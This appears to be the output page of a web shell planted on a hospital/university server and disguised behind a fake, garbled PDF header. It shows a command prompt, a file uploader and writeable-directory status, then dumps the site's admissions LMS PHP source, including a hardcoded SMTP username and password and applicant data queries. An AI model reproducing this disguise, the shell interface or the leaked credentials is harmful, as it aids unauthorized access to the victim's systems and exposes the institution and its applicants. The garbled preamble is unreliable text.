%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardahospital.org/shardalms/lms/lms/api/application/models/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardahospital.org/shardalms/lms/lms/api/application/models/Common_model.php
<?php 
class Common_model extends CI_Model {
	function save($data, $tbl="", $pKey="id"){
		$id=$this->db->escape_str($data[$pKey]);
		unset($data[$pKey]);
        if($id){
            $data['updated']=currentDT();
			$data['updated_by']=USER_ID;
			$this->dba->update($tbl, $data, "$pKey='$id'");
            if(!$this->db->affected_rows()){
				return;
			}
        }else{
            $data['created']=$data['updated']=currentDT();
			$data['created_by']=USER_ID;
			$data['updated_by']=USER_ID;
            $id=$this->dba->insert($tbl, $data);
        }
        return $id;
    }

    function isPhd($id, $app_id=0){
        if($app_id){
            $id=$this->db->select('applicant_id')->get_where("applications", ['id'=>$app_id])->row('applicant_id');
        }
        return (int)$this->db->select('is_phd')->get_where("applicants", ['id'=>$id])->row('is_phd');
    }

    function getCounter($type){
        $c=(int)$this->db->get_where("master_data", array('datakey'=>$type))->row()->datavalue;
        $this->db->update("master_data", array('datavalue'=>$c+1, 'updated'=>currentDT()), array('datakey'=>$type));
        return $c;
    }

    function all_campus(){
        return $this->db->select("id,title")->where("status", 1)->get("master_campus")->result_array();
    }

    function allStates($active=FALSE){
        if($active){
            $this->db->where(array('status'=>1));
        }
        return $this->db->select("S.id, S.title, S.code, COUNT(C.id) AS noOfCities")->from("master_states AS S")->join("master_cities AS C", "C.state_id=S.id", "LEFT")->group_by("S.id")->order_by("S.title")->get()->result_array();
    }

    function allPrograms($active=FALSE){
        if($active){
            $this->db->where(array('P.status'=>1));
        }
        return $this->db->select("P.id, P.title, COUNT(PP.id) AS noOfPlans", FALSE)
                ->from("master_programs AS P")
                ->join("master_program_plans AS PP", "PP.program_id=P.id", "LEFT")
                ->group_by("P.id")->order_by("P.title")->get()->result_array();
    }

    function allCoupans($active=FALSE){
        if($active){
            $this->db->where(array('status'=>1, 'expiry_date >='=>date('Y-m-d')));
        }
        return $this->db->select("id, title, amt, DATE_FORMAT(expiry_date, '%d %b %Y') AS expiry_date, disp_odr, status")->from("master_coupans")->order_by("disp_odr")->get()->result_array();
    }

    function allLandingPages($active=FALSE){
        if($active){
            $this->db->where(array('P.status'=>1));
        }
        return $this->db->select("P.id, P.title, COUNT(DISTINCT PP.id) AS noOfProg, COUNT(DISTINCT PF.id) AS noOfFaq", FALSE)
                ->from("landing_pages AS P")
                ->join("landing_page_programs AS PP", "PP.lpage_id=P.id", "LEFT")
                ->join("landing_page_faqs AS PF", "PF.lpage_id=P.id", "LEFT")
                ->group_by("P.id")->order_by("P.title")->get()->result_array();
    }

    function getNDAContent(){
        $rs=$this->db->get_where("master_data", array('datakey'=>'nda'))->row()->datavalue;
        return encode_script($rs);
    }

    function getGACode(){
        $gacode_head=$this->db->get_where("master_data", array('datakey'=>'gacode_head'))->row()->datavalue;
        $gacode_body=$this->db->get_where("master_data", array('datakey'=>'gacode_body'))->row()->datavalue;
        $gacode_key=$this->db->get_where("master_data", array('datakey'=>'gacode_key'))->row()->datavalue;
        return array('head'=>$gacode_head, 'body'=>$gacode_body, 'key'=>$gacode_key);
    }

    function utmGroups($active=FALSE){
		if($active){
			$this->db->where('status', 1);
		}
		$rs=$this->db->select("DISTINCT grp", false)->order_by("grp")->get_where("master_utm_sources", ['grp !='=>''])->result_array();
		return $rs;
    }
    function allUtmSources($active=FALSE, $camp_med=FALSE){
		if($active){
			$this->db->where('status', 1);
		}
        $rs=$this->db->select("id, title")->from("master_utm_sources")->order_by("title")->get()->result_array();
        if($camp_med){
            foreach($rs as &$r){
                $camps=$this->db->select("DISTINCT utm_campaign", false)->get_where("applicants", array('utm_source_id'=>$r['id']))->result_array();
                $meds=$this->db->select("DISTINCT utm_medium", false)->get_where("applicants", array('utm_source_id'=>$r['id']))->result_array();
                $r['campaigns']=[];
                $r['mediums']=[];
                foreach($camps as $c){
                    $r['campaigns'][]=$c['utm_campaign'];
                }
                foreach($meds as $c){
                    $r['mediums'][]=$c['utm_medium'];
                }
            }
        }
		return $rs;
    }
    
    function faqCats($active=FALSE){
        $qs=trim_array($this->input->get());
		if($active){
			$this->db->where("status", 1);
		}
		if($qs['k']){
			$this->db->like("title", $qs['k']);
		}
		return $this->db->order_by("title")->get("master_faq_cats")->result_array();
    }

    function applicantCats(){
		return $this->db->select("id, title")->from("master_applicat_cats")->where("status", 1)->order_by("disp_odr")->get()->result_array();
    }
    function religions(){
		return $this->db->select("id, title")->from("master_applicat_religions")->where("status", 1)->order_by("disp_odr")->get()->result_array();
    }
    function boards(){
		return $this->db->select("id, title")->from("master_edu_boards")->where("status", 1)->order_by("title")->get()->result_array();
    }
    function universities(){
		return $this->db->select("id, title")->from("master_universities")->where("status", 1)->order_by("title")->get()->result_array();
    }
    function markingSchemes(){
		$res = $this->db->select("id, title, allowed_data")->from("master_marking_schemes")->where("status", 1)->order_by("disp_odr")->get()->result_array();
        foreach($res as $k=>$v){
            $v['allowed_data']=trim($v['allowed_data']); 
            $res[$k]['allowed_values'] = explode(',',$v['allowed_data']);
        }
        return $res;
    }
    function states(){
        return $this->db->select("id, code, title")->order_by("title")->get_where("master_states", array('status'=>1))->result_array();
    }
    function cities($state_id=0){
        $cond=array('status'=>1);
        if($state_id){
            $cond['state_id']=$state_id;
        }
        return $this->db->select("id, state_id, title, pincode")->order_by("title")->get_where("master_cities", $cond)->result_array();
    }
    function academicCareers(){
        return $this->db->select("id, title")->order_by("disp_odr")->get_where("master_academic_careers", array('status'=>1))->result_array();
    }
    function acDtl($ac_id){
        $dtl=$this->db->select("title, req_10th, req_12th, req_ug, req_pg")->get_where("master_academic_careers", array('id'=>$ac_id))->row_array();
        if($dtl){
            $dtl['req_10th']=(int)$dtl['req_10th'];
            $dtl['req_12th']=(int)$dtl['req_12th'];
            $dtl['req_ug']=(int)$dtl['req_ug'];
            $dtl['req_pg']=(int)$dtl['req_pg'];
        }
        return $dtl;
    }
    function schools(){
        return $this->db->select("id, title")->order_by("disp_odr")->get_where("master_schools", array('status'=>1))->result_array();
    }
    function disciplines(){
        return $this->db->select("id, title")->order_by("disp_odr")->get_where("master_disciplines", array('status>='=>0))->result_array();
    }

    function programs($ac_id=0, $campus_id=0){
        $campus_id=(int)$campus_id;
        //$cond=array('P.status'=>1);
        if($ac_id){
            $this->db->where("P.ac_id", $ac_id);
        }
        if($campus_id){
            $this->db->where("FIND_IN_SET('$campus_id', PP.campus_ids)",  NULL, FALSE);
        }
        return $this->db->select("P.id, P.type_id, P.ac_id, P.discipline_id, P.school_id, P.title, P.status")
               ->from("master_programs P")
               ->join("master_program_plans PP", "PP.program_id=P.id")
               ->group_by("P.id")
               ->order_by("title")
               ->get()->result_array();
    }

    function plans($program_id=0, $campus_id=0){
        //$cond=array('status'=>1);
        if($program_id){
            $this->db->where("program_id", $program_id);
        }
        if($campus_id){
            $this->db->where("FIND_IN_SET('$campus_id', campus_ids)",  NULL, FALSE);
        }
		$rs=$this->db->select("id, program_id, title, code, status")
			->from("master_program_plans")
			->order_by("title")->get()->result_array();

		return $rs;
    }

    /** */
    function applicationNdUsrInfo($appId, $dbcon=false){
        if(!$dbcon){
            $dbcon=$this->db;
        }
        $f="A.id, A.applicant_id, A.application_no, A.step_completed, A.created, A.pay_trans_id, A.payment_status, A.payment_mode, P.type_id, 
            P.id AS program_id, A.plan_id, PP.title AS plan, P.title AS program, P.image AS progImage, P.brochure AS progBrochure, 
            AL.program_name api_program, AL.plan_name api_plan";
        $dtl=$dbcon->select($f)
        ->from("applications A")
        ->join("master_program_plans PP", "A.plan_id=PP.id", "LEFT")
        ->join("master_programs P", "PP.program_id=P.id", "LEFT")
        ->join("api_leads AL", "AL.id=A.api_lead_id", "LEFT")
        ->where(array('A.id'=>$appId))
        ->get()->row_array();

        $dtl['progImageUrl']=$dtl['progImage']?UP_URLF.'programs_images/'.$dtl['progImage']:'';
        $dtl['progBrochureUrl']=$dtl['progBrochure']?UP_URLF.'brochure/'.$dtl['progBrochure']:'';
        $dtl['progBrochureDwnUrl']=$dtl['progBrochure']?(URL.'common/downloadFile/'.encode(UP_PATHF.'brochure/'.$dtl['progBrochure'])):'';
        
        $dtl['usr']=$dbcon->select("lpage_id, name, email, mob, dob, address, city, pincode, state_id, utm_source_id")->get_where("applicants", array('id'=>$dtl['applicant_id']))->row_array();
        $dtl['usr']['state']=$dbcon->select("title")->get_where("master_states", array('id'=>$dtl['usr']['state_id']))->row()->title;
        
        if($dtl['payment_mode']=='CASH'){
            $dtl['trans']=$dbcon->select("amount txn_amt, 'CASH' bank_name, 'SUCCESS' txn_status, 'N/A' txn_id, created txn_date", false)->get_where("cash_collections", array('application_id'=>$dtl['id']))->row_array();
            if($dtl['trans']){
                $dtl['trans']['txn_date']=date('d-m-Y h:i s A', strtotime($dtl['trans']['txn_date']));
            }
        }else{
            $dtl['trans']=$dbcon->get_where("pay_trans", array('id'=>$dtl['pay_trans_id']))->row_array();
            if($dtl['trans']){
                $dtl['trans']['txn_date']=date('d-m-Y h:i s A', strtotime($dtl['trans']['txn_date']));
                $dtl['trans']['full_resp']=unserialize($dtl['trans']['full_resp']);
            }
        }

        $dtl['programType']=$dbcon->select("title")->get_where("master_program_types", array('id'=>$dtl['type_id']))->row()->title;
        $dtl['lpage']=rtrim($dbcon->select("title")->get_where("landing_pages", array('id'=>$dtl['usr']['lpage_id']))->row()->title, "/");
        $dtl['utmSource']=$dbcon->select("title")->get_where("master_utm_sources", array('id'=>$dtl['usr']['utm_source_id']))->row()->title;
        $dtl['loginUrl']=generate_login_url($dtl['lpage'], $dtl['usr']['mob']);
        $dtl['payment_link']=generate_payment_link($dtl['lpage'], $dtl['usr']['mob'], $dtl['id']);
        $dtl['receiptDownloadUrl']=URL.'common/downloadReceipt/'.$appId;
        $dtl['SuatSlotBookUrl']=SUAT_SLOT_BOOK_URL;

        return $dtl;
    }

    function sendSystemIdGenMsg($appId, $dbcon=false){
        $dtl=$this->applicationNdUsrInfo($appId, $dbcon);
        if(!$dtl['program']){
            $dtl['program']=$dtl['api_program'];
        }
        if(!$dtl['plan']){
            $dtl['plan']=$dtl['api_plan'];
        }

        $usrName=strtoupper($dtl['usr']['name']);
        $systemId=$dtl['application_no'];
        if(strtolower($dtl['programType'])=='suat'){
            //$sms="Dear $usrName, Thank you for applying at Sharda University. Your System ID is - $systemId. Login at {$dtl['loginUrl']} to complete your SUAT-2020 application. Call us at 0120-4570011 for any queries.";
			$sms="Dear $usrName, Congratulations! You have successfully applied for {$dtl['plan']} at Sharda University. Your System ID is - $systemId. We are processing your application at the moment. Our Admission Counsellors will get back to you within 24 hours and guide you about further process.Call us at 0120-4570000 for any queries.";

        }else{
            //$sms="Dear $usrName, Thank you for applying at Sharda University. Your System ID is - $systemId. Login at {$dtl['loginUrl']} to complete your application. Call us at 0120-4570011 for any queries.";
            $sms="Dear $usrName, Thank you for applying at Sharda University. Your System ID is - $systemId. Login at {$dtl['loginUrl']} to complete your application. Call us at 0120-4570000 for any queries.";
        }
        $emailSub="Dear $usrName, Your System ID $systemId is Generated !!!";
        $emailMsg=$this->load->view("email/system_id_gen", $dtl, TRUE);

        //pr($dtl);

        
        send_sms($dtl['usr']['mob'], $sms);
        send_email($dtl['usr']['email'], $emailSub, $emailMsg);
        //pr($emailMsg);
    }

    function send_payment_link($appId){
        $dtl=$this->applicationNdUsrInfo($appId);

        $usrName=strtoupper($dtl['usr']['name']);
        $systemId=$dtl['application_no'];
        if(strtolower($dtl['programType'])=='suat'){
            $sms="Dear $usrName, Thank you for applying at Sharda University. Your System ID is - $systemId. Login at {$dtl['payment_link']} to complete your SUAT-2019 application. Call us at 0120-4570011 for any queries.";
        }else{
            $sms="Dear $usrName, Thank you for applying at Sharda University. Your System ID is - $systemId. Login at {$dtl['payment_link']} to complete your application. Call us at 0120-4570011 for any queries.";
        }
        $emailSub="Dear $usrName, Your System ID $systemId is Generated !!!";
        $emailMsg=$this->load->view("email/payment_link", $dtl, TRUE);

        send_sms($dtl['usr']['mob'], $sms);
        send_email($dtl['usr']['email'], $emailSub, $emailMsg);
    }
    
    function sendPaymentConfirmMsg($appId){
        $dtl=$this->applicationNdUsrInfo($appId);

        $usrName=strtoupper($dtl['usr']['name']);
        $systemId=$dtl['application_no'];
        if(strtolower($dtl['programType'])=='suat'){
            $sms="Dear $usrName, Congratulations! You have successfully applied for {$dtl['plan']}. Your System ID is - $systemId. We are processing your application, once you will receive your application number, login at {$dtl['SuatSlotBookUrl']} to book your slot for SUAT-2019. Call us at 0120-4570011 for any queries.";
        }else{
            $sms="Dear $usrName, Congratulations! You have successfully applied for {$dtl['plan']}. Your System ID is - $systemId. We are processing your application, once you will receive your application number, login at {$dtl['loginUrl']} to Schedule a visit. Call us at 0120-4570011 for any queries.";
        }
        $emailSub="Congratulations! You have successfully applied for {$dtl['plan']} at Sharda University";
        $emailMsg=$this->load->view("email/payment_confirm", $dtl, TRUE);

        send_sms($dtl['usr']['mob'], $sms);
        send_email($dtl['usr']['email'], $emailSub, $emailMsg);
    }

    function sendPaymentAlertToAdmin($appId){
        $emails=$this->db->select("email")->get_where("master_admin_emails", array('send_payment_alert'=>1))->result_array();
        if($emails){
            $emails=key_val_array($emails, '', 'email');
            $emails=implode(",", $emails);
        
            $dtl=$this->applicationNdUsrInfo($appId);
            $emailMsg=$this->load->view("email/payment_alert_admin", $dtl, TRUE);
            $sub=$dtl['payment_status']?"Payment Alert: SUCCESS":"Payment Alert: FAIL";
            send_email($emails, $sub, $emailMsg);
        }
    }

    function sendIssueCommentToApplicant($id, $comment){
        $rs=$this->db->select("applicant_id, cat, issue")->get_where("issues_reported", array('id'=>$id))->row_array();
        $email=$this->db->select("email")->get_where("applicants", array('id'=>$rs['applicant_id']))->row()->email;

        if($email){
            $msg="Issue: [{$rs['cat']}] {$rs['issue']} <br><br> Comment: <br><br>".nl2br($comment);
            $sub="Reply: ".$rs['cat'];
            send_email($email, $sub, $msg);
        }
    }

    function send_campaign_email($data){
        ignore_user_abort(1);
        if(ENVIRONMENT=='development'){
            //return TRUE;
        }
        $smtpdtl=array(
            'host'=>'smtp.pepipost.com', 
            'user'=>'shardapepi', 
            'pass'=>'SUsocial@2019',
            'port'=>'25',
        );
        
        $fromname="Sharda University";
        $fromemail="info@shardauniversity.com";
        
        $this->load->library('email');

        foreach($data as $d){
            $this->email->clear();
            
            $config['charset'] = 'utf-8';
            $config['wordwrap'] = TRUE;
            $config['mailtype'] = 'html';
            
            $config['protocol']   = "smtp";
            $config['smtp_host']  = $smtpdtl['host'];
            $config['smtp_user']  = $smtpdtl['user'];
            $config['smtp_pass']  = $smtpdtl['pass'];
            $config['smtp_port']  = $smtpdtl['port'];
            $config['_auth_smtp'] = TRUE;
            $config['newline']    = "\r\n";
            $config['crlf']       = "\r\n";
            //$config['smtp_crypto'] = 'tls'; 
            $config['smtp_keepalive']=true;
            
            $this->email->initialize($config);
        
            $this->email->from($fromemail, $fromname);
            $this->email->reply_to('noreply@shardauniversity', $fromname);
        
            $this->email->to($d['email']);
            $this->email->subject($d['subject']);
            $this->email->message($d['msg']);
            
            //pr($this->email->print_debugger());
            $res=$this->email->send();
        }
        
        return $res;
    }

    function send_campaign_sms($data){
        ignore_user_abort(1);
        if(ENVIRONMENT=='development'){
            //return TRUE;
        }

        foreach($data as $d){
            if(!$d['mob']){
                continue;
            }
            send_sms($d['mob'], $d['msg']);
        }
        
        return $res;
    }

    function master_data_for_leads(){
        $campus=$this->db->select("id,title")->get("master_campus")->result_array();
        $md['campus']=key_val_array($campus, 'id', 'title');

        $states=$this->db->select("id,code,title")->get("master_states")->result_array();
        $md['states']=key_val_array($states, 'id', 'title');
        $md['state_codes']=key_val_array($states, 'id', 'code');

        $programs=$this->db->select("id,title")->get("master_programs")->result_array();
        $md['programs']=key_val_array($programs, 'id', 'title');

        $plans=$this->db->select("id,code,title,program_code,ac_code")->get("master_program_plans")->result_array();
        $md['plans']=key_val_array($plans, 'id', 'title');
        $md['plan_codes']=key_val_array($plans, 'id', 'code');
        $md['plan_prg_codes']=key_val_array($plans, 'id', 'program_code');
        $md['plan_ac_codes']=key_val_array($plans, 'id', 'ac_code');

        //$md['lpages']=key_val_array($this->db->select("id,title")->get("landing_pages")->result_array(), 'id', 'title');
        $md['acs']=key_val_array($this->db->select("id,title")->get("master_academic_careers")->result_array(), 'id', 'title');
        $md['disciplines']=key_val_array($this->db->select("id,title")->get("master_disciplines")->result_array(), 'id', 'title');
        $md['schools']=key_val_array($this->db->select("id,title")->get("master_schools")->result_array(), 'id', 'title');
        $md['program_types']=key_val_array($this->db->select("id,title")->get("master_program_types")->result_array(), 'id', 'title');
        //$md['utm_sources']=key_val_array($this->db->select("id,title")->get("master_utm_sources")->result_array(), 'id', 'title');
        $md['lpages']=key_val_array($this->db->select("id,title")->get("landing_pages")->result_array(), 'id', 'title');
        $md['mark_schemes']=key_val_array($this->db->select("id,title")->get("master_marking_schemes")->result_array(), 'id', 'title');
        $md['soc_cats']=key_val_array($this->db->select("id,title")->get("master_applicat_cats")->result_array(), 'id', 'title');
        $md['religions']=key_val_array($this->db->select("id,title")->get("master_applicat_religions")->result_array(), 'id', 'title');

        return $md;
    }

    function set_utm_source_paid($applicant_id=0, $trans_id=0){
        $cond=["applicant_id"=>$applicant_id];
        $this->db->where($cond)->update("applicants_visit_history", ['is_paid'=>0]);
        $lastv=$this->db->select("id,lpage")->order_by("id", "DESC")->limit(1)->get_where("applicants_visit_history", $cond)->row_array();
        $last_v_id=$lastv['id'];
        $lpage=str_replace(["https://", "http://", "www."], ["", "", ""], rtrim(trim($lastv['lpage']), '/'));
        $is_mob=$this->db->select("for_mob_app")->from("landing_pages")->like("trimed_title", $lpage)->get()->row()->for_mob_app;
        if($is_mob){
            $this->db->where("id", $trans_id)->update("pay_trans", ['from_mob_app'=>1, 'updated'=>currentDT()]);
        }
        $this->db->where("id", $last_v_id)->update("applicants_visit_history", ['is_paid'=>1]);
    }

    function followup_remarks_ids(){
        $rs=$this->db->select("id")->get_where("master_lead_remarks", ['isfollowup'=>1])->result_array();
        return array_map(function($a){return $a['id'];}, $rs);
    }
    function update_app_followup_count($app_id){
        $ldtl=$this->db->select("step_completed")->limit(1)->get_where("applications", ['id'=>$app_id])->row_array("step_completed");

        $fids=$this->followup_remarks_ids();
        $rs=$this->db->select("remarks_id")->get_where("applications_remarks", ['application_id'=>$app_id])->result_array();
        $ids=array_map(function($a){return $a['remarks_id'];}, $rs);
        $fc=0;
        $fc_all=(int)count($rs);
        $remarks_ids=[];
        foreach($ids as $id){
            $remarks_ids[]=$id;
            if(in_array($id, $fids)){
                $fc++;
            }
        }
        $remarks_ids=array_unique($remarks_ids);
        $remarks_ids=array_map('intval', $remarks_ids);
        asort($remarks_ids);

        $d=['id'=>$app_id, 'followup_count'=>$fc, 'followup_count_all'=>$fc_all, 'remarks_ids'=>implode(",", $remarks_ids)];
        if($ldtl['step_completed']==3){
            $followupPaid=(int)$this->db->select("count(1) n")->get_where("applications_remarks", ['application_id'=>$app_id, 'is_after_paid'=>'Y'])->row("n");
            $d['followup_count_all_paid']=$followupPaid;
        }

        $this->dba->save("applications", $d);
        return [$fc_all, $fc];
    }

    /** Data Set Condition */
    function set_data_set_cond($lvOpt=false, $ps=true, $validateExpiry=true, $user_id='', $getDynamic=false){
        $qs=trim_array($_REQUEST);

        $userType=USER_TYPE;
        if(!$user_id){
            $user_id=USER_ID;
        }else{
            $userType=$this->db->select("type")->get_where("users", ['id'=>$user_id])->row("type");
        }

        $callers=[];
        if(CALLER_IDS){
            if(CALLER_IDS==="AllCallers"){
                $this->load->model("user_model", "user");
                $mycallers=$this->user->active_users(true, 'CALLER');
                if($mycallers){
                    foreach($mycallers as $c){
                        $callers[]=$c['id'];
                    }
                }
            }else{
                $callers=explode(",", CALLER_IDS);
            }
        }

        if(!$lvOpt){
            $lvOpt=$this->dataset->detail(0, $user_id);
        }

        if($userType==='CALLER'){
            if(!$lvOpt){
                $this->db->where("U.id", 0);
            }
        }

        $filters_used=$this->getDataSetFiltersUsed($lvOpt);

        if($lvOpt && (!$lvOpt['is_hidden'] || $callers) && !$getDynamic){
            if($userType==='CALLER' || $callers){
                $this->db->join("data_set_split_leads SD", "SD.application_id=A.id");
                $this->db->join("leads_data_sets DS", "SD.data_set_id=DS.id");
                if($callers){
                    $this->db->where_in('SD.user_id', $callers);
                }else{
                    $this->db->where('SD.user_id', $user_id);
                }
            }else{
                $this->db->join("data_set_leads DL", "DL.application_id=A.id");
                $this->db->join("leads_data_sets DS", "DL.data_set_id=DS.id");
                $this->db->where('DL.data_set_id', $lvOpt['id']);
            }

            if($validateExpiry){
                $this->db->where('DS.expiry_date>=', date('Y-m-d'));
            }

            return $filters_used;
        }
        
        if($validateExpiry){
            if($lvOpt['expiry_date'] && strtotime($lvOpt['expiry_date'])<strtotime(date('Y-m-d'))){
                $this->db->where("U.id", 0);
            }
        }

        if($qs['level']!=='CAMPUS_OFFLINE'){
            if($lvOpt['states'] && $lvOpt['cities']){
                $this->db->group_start();
                    foreach($lvOpt['states'] as $i=>$state_id){
                        if($i==0){
                            $this->db->group_start();
                        }else{
                            $this->db->or_group_start();
                        }
                            $this->db->where("U.state_id", $state_id);
                            if($lvOpt['cities'][$state_id]){
                                $lvOpt['cities'][$state_id][]=0;
                                $this->db->where_in("U.city_id", $lvOpt['cities'][$state_id]);
                            }

                        $this->db->group_end();
                    }

                    if(Campus_Offline_Leads){
                        $this->db->or_group_start();
                            $this->db->where('U.is_campus_offline=', 'Y');
                        $this->db->group_end();
                    }

                $this->db->group_end();
            }else if($lvOpt['states']){
                $this->db->where_in("U.state_id", $lvOpt['states']);
            }
        }

		if($lvOpt['programs'] && $lvOpt['plans']){
            $this->db->group_start();
				foreach($lvOpt['programs'] as $i=>$program_id){
					if($i==0){
						$this->db->group_start();
					}else{
						$this->db->or_group_start();
					}
						$this->db->where("A.program_id", $program_id);
						if($lvOpt['plans'][$program_id]){
                            $lvOpt['plans'][$program_id][]=0;
							$this->db->where_in("A.plan_id", $lvOpt['plans'][$program_id]);
						}

					$this->db->group_end();
				}
            $this->db->group_end();
        }else if($lvOpt['programs']){
            $this->db->where_in("A.program_id", $lvOpt['programs']);
		}

		if($lvOpt['utm_sources']){
            $this->db->where_in("U.utm_source_id", $lvOpt['utm_sources']);
        }

        if($lvOpt['acs']){
            $this->db->where_in("A.ac_id", $lvOpt['acs']);
        }
        if($lvOpt['disciplines']){
            $this->db->where_in("A.discipline_id", $lvOpt['disciplines']);
        }

        if($lvOpt['schools']){
            $this->db->where_in("A.school_id", $lvOpt['schools']);
        }
        if($lvOpt['lead_sources']){
            $this->db->where_in("U.lead_source_id", $lvOpt['lead_sources']);
        }
        if($lvOpt['remarks_ids']){
            $rids=array_map('intval', $lvOpt['remarks_ids']);
            asort($rids);
            $rids=implode("|", $rids);
            $cond="CONCAT(',', A.remarks_ids , ',') REGEXP ".'",('.$rids.'),"';
            $this->db->where($cond, NULL, FALSE);
		}
		if($lvOpt['steps']){
            $this->db->where_in("A.step_completed", $lvOpt['steps']);
		}
		if($lvOpt['payment_modes']){
			$lvOpt['payment_modes'][]='';
            $this->db->where_in("A.payment_mode", $lvOpt['payment_modes']);
        }
        
        if($lvOpt['followup_done']=='Y'){
            $this->db->where("A.last_followup_id>", 0);
        }
        if($lvOpt['followup_done']=='N'){
            $this->db->where("A.last_followup_id", 0);
        }
        if($lvOpt['followup_count_max']){
            $this->db->where("A.followup_count_all <= ", (int)$lvOpt['followup_count_max']);
        }
        if($lvOpt['online_offline']=='Online'){
            $this->db->where(['U.verified_by!='=>'OFFLINE']);
        }
        if($lvOpt['online_offline']=='Offline'){
            $this->db->where(['U.verified_by'=>'OFFLINE']);
        }

        if($lvOpt['med_phd']=='Medical'){
            $this->db->where("U.is_medical", 1);
        }
        if($lvOpt['med_phd']=='PHD'){
            $this->db->where("U.is_phd", 1);
        }
        if($lvOpt['show_campus_offline_leads']=='N'){
            $this->db->where("U.is_campus_offline", 'N');
        }

		if($lvOpt['lead_date_from']){
            $this->db->where("A.created >=", date('Y-m-d', strtotime($lvOpt['lead_date_from'])));
		}
		if($lvOpt['lead_date_to']){
            $this->db->where("A.created <=", date('Y-m-d 23:59:59', strtotime($lvOpt['lead_date_to'])));
        }

        if($ps && $lvOpt['ps_app_status']){
            $this->db->where_in("PSS.DESCR1", $lvOpt['ps_app_status']);
        }

        if($lvOpt['payment_failed']){
            if($lvOpt['payment_failed']=='Y'){
                $this->db->where(['PTRANS.payment_status'=>'FAIL', 'A.payment_status'=>0]);
            }else{
                $this->db->where(['PTRANS.payment_status!='=>'FAIL']);
            }
        }

        if($lvOpt['superbot_disposition']){
            $this->db->where_in("SR.disposition", $lvOpt['superbot_disposition']);
        }
        if($lvOpt['exclude_superbot']==='Y'){
            $this->db->where("SR.disposition", NULL);
        }

        return $filters_used;
    }

    function getDataSetFiltersUsed($lvOpt){
        $filters_used=[];

        if($lvOpt['expiry_date'] && strtotime($lvOpt['expiry_date'])<strtotime(date('Y-m-d'))){
            $filters_used[]='Expiry Date';
        }
		if($lvOpt['states'] && $lvOpt['cities']){
            $filters_used[]='State';
            $filters_used[]='City';
		}else if($lvOpt['states']){
            $filters_used[]='State';
		}
		if($lvOpt['programs'] && $lvOpt['plans']){
            $filters_used[]='Program';
            $filters_used[]='Plan';
        }else if($lvOpt['programs']){
            $filters_used[]='Program';
		}
		if($lvOpt['utm_sources']){
            $filters_used[]='Utm Source';
        }
        if($lvOpt['acs']){
            $filters_used[]='Acad. Career';
        }
        if($lvOpt['disciplines']){
            $filters_used[]='Discipline';
        }
        if($lvOpt['schools']){
            $filters_used[]='School';
        }
        if($lvOpt['lead_sources']){
            $filters_used[]='Lead Source';
        }
        if($lvOpt['remarks_ids']){
            $filters_used[]='Remarks';
		}
		if($lvOpt['steps']){
            $filters_used[]='Step Completed';
		}
		if($lvOpt['payment_modes']){
            $filters_used[]='Payment Mode';
        }
        if($lvOpt['followup_done']=='Y'){
            $filters_used[]='Followup-YES';
        }
        if($lvOpt['followup_done']=='N'){
            $filters_used[]='Followup-NO';
        }
        if($lvOpt['followup_count_max']){
            $filters_used[]='Max Followup Count';
        }
        if($lvOpt['online_offline']=='Online'){
            $filters_used[]='Online Leads';
        }
        if($lvOpt['online_offline']=='Offline'){
            $filters_used[]='Offline Leads';
        }
        if($lvOpt['med_phd']=='Medical'){
            $filters_used[]='Medical Leads';
        }
        if($lvOpt['med_phd']=='PHD'){
            $filters_used[]='Phd Leads';
        }
        if($lvOpt['show_campus_offline_leads']=='N'){
            $filters_used[]='No Campus Offline Leads';
        }
		if($lvOpt['lead_date_from']){
            $filters_used[]='From Date';
		}
		if($lvOpt['lead_date_to']){
            $filters_used[]='To Date';
        }
        if($ps && $lvOpt['ps_app_status']){
            $filters_used[]='PSoft Status';
        }
        if($lvOpt['payment_failed']){
            $filters_used[]='Payment Failed';
        }
        if($lvOpt['superbot_disposition']){
            $filters_used[]='Superbot Disposition';
        }

        return $filters_used?$filters_used:['N/A'];
    }

    function data_set_leads_count_old($data_set_id=0, $lvOpt=false, $from_date='', $to_date=''){
        if($data_set_id){
            $lvOpt=$this->dataset->detail($data_set_id);
        }
        
        $filters_used=$this->set_data_set_cond($lvOpt, true, false, '', true);
        if($from_date){
			$this->db->where("A.created>=", get_date($from_date, '', 'Y-m-d'));
		}
		if($to_date){
			$this->db->where("A.created<=", get_date($to_date, '', 'Y-m-d 23:59:59'));
		}

        $n=$this->db->select("COUNT(1) n")
        ->from("applications A")
		->join("applicants U", "U.id=A.applicant_id")
        ->join("ps_stu_status PSS", "PSS.EMPLID=A.application_no", "LEFT")
        ->get()
        ->row()->n;

        return ['n'=>(int)$n, 'filters'=>implode(", ",$filters_used)];
    }

    function data_set_leads_count($data_set_id=0, $lvOpt=false, $from_date='', $to_date=''){
        if($data_set_id){
            $lvOpt=$this->dataset->detail($data_set_id);
        }
        if($lvOpt['is_hidden']){
            return $this->data_set_leads_count_old(0, $lvOpt, $from_date, $to_date);
        }

        $filters_used=$this->getDataSetFiltersUsed($lvOpt);
        $n=$lvOpt['leads_count'];
        return ['n'=>(int)$lvOpt['leads_count'], 'filters'=>implode(", ",$filters_used)];
    }

    /** */
    function users_with_access(){
        $rs=$this->db->select("id, type, name, modules, data_set_id")->order_by("name")->get_where("users", ['type!='=>'ADMIN', 'type!='=>'PUBLISHER', 'status'=>1])->result_array();

        foreach($rs as &$r){
            if($r['modules']){
                $r['modules']=$this->db->select("module")->from("system_modules")->where_in("id", explode(",", $r['modules']))->order_by("grp")->order_by("module")->get()->result_array();
            }else{
                $r['modules']=[];
            }

            $r['dset']=$this->dataset->detail($r['data_set_id']);
            $r['dset']['state_names']=[['title'=>'ALL']];
